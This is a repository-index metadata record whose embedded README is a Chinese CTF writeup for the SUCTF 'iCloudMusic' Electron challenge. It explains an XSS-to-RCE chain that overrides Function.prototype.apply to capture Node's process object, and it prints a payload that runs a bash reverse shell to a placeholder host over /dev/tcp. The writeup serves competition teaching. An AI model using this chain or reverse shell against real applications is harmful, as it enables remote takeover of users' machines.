{"id":18819023,"url":"https://github.com/imagemlt/icloudmusic","last_synced_at":"2025-04-13T23:32:59.762Z","repository":{"id":47978051,"uuid":"203081183","full_name":"imagemlt/iCloudMusic","owner":"imagemlt","description":"SUCTF iCloudMusic 源码及writeup","archived":false,"fork":false,"pushed_at":"2022-10-12T04:48:10.000Z","size":133686,"stargazers_count":10,"open_issues_count":9,"forks_count":2,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-27T13:46:08.770Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/imagemlt.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-08-19T02:06:18.000Z","updated_at":"2023-11-10T11:45:15.000Z","dependencies_parsed_at":"2023-01-19T21:31:17.381Z","dependency_job_id":null,"html_url":"https://github.com/imagemlt/iCloudMusic","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imagemlt%2FiCloudMusic","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imagemlt%2FiCloudMusic/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imagemlt%2FiCloudMusic/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imagemlt%2FiCloudMusic/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/imagemlt","download_url":"https://codeload.github.com/imagemlt/iCloudMusic/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248797015,"owners_count":21163066,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-08T00:19:52.735Z","updated_at":"2025-04-13T23:32:54.747Z","avatar_url":"https://github.com/imagemlt.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# SUCTF iCloudMusic\n\n## 搭建方式\n\n* 进入dockers目录，运行`docker-compose up -d` \n* 进入iCloudMusic, 运行`npm install \u0026\u0026 npm start`\n\n## Writeup\n\n第一步的XSS不难，js_to_run中直接将歌单信息拼接到js中，引号+大括号逃逸即可。\n\n拿到XSS怎样转化为RCE则考察怎样通过覆盖js原生函数来泄漏preload.js运行的node环境中的一些变量/函数等，这里有两种方法\n\n* 思路1 暴力重写js所有原生函数\n以Function.prototype.apply为例\n\n```js\nFunction.prototype.apply2=Function.prototype.apply;\nFunction.prototype.apply=function(...args){\n    for(var i in args)\n        if(args[i])\n        console.log(args[i].toString());\n    return this.apply2(...args);\n}\n```\n\n进入view的devtool,执行这个函数后，尝试执行request.get一个url，可以在console中找到`process`.因此便可以将我们的覆盖脚本改写为：\n```js\nFunction.prototype.apply2=Function.prototype.apply;\nFunction.prototype.apply=function(...args){\n    if(args[0]!=null \u0026\u0026 args[0]!=undefined \u0026\u0026 args[0].env!=undefined){\n        Function.prototype.apply=Function.prototype.apply2;\n        args[0].mainModule.require('child_process').exec('bash -c \"bash -i \u003e\u0026 /dev/tcp/XXXXXX/8080 0\u003e\u00261\"');\n        }\n        return this.apply2(...args)\n}\nrequest.get('http://www.baidu.com/',null)\n```\n\n* 思路2 白盒审计\n\nrequest库/http库/其他很多node库都有可能调用process相关的函数，其中process下有这样一个函数`nextTick`\n```js\nƒ (...args) {\n            process.activateUvLoop();\n            return func.apply(this, args);\n        }\n```\n可以看到process.nextTick中调用了func.apply,即Function.prototype.apply,且参数this正是`process`本身。\n在http库中处理socket请求的一个关键函数即调用了这个函数\n```js\nClientRequest.prototype.onSocket = function onSocket(socket) {\n  process.nextTick(onSocketNT, this, socket);\n};\n```\nrequest库处理请求都使用http库，且request库本身也多次调用了这个函数\n```js\nvar defer = typeof setImmediate === 'undefined'\n  ? process.nextTick\n  : setImmediate\n\n```\n知道这一点我们便可以直接给出我们同上的利用脚本。\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fimagemlt%2Ficloudmusic","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fimagemlt%2Ficloudmusic","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fimagemlt%2Ficloudmusic/lists"}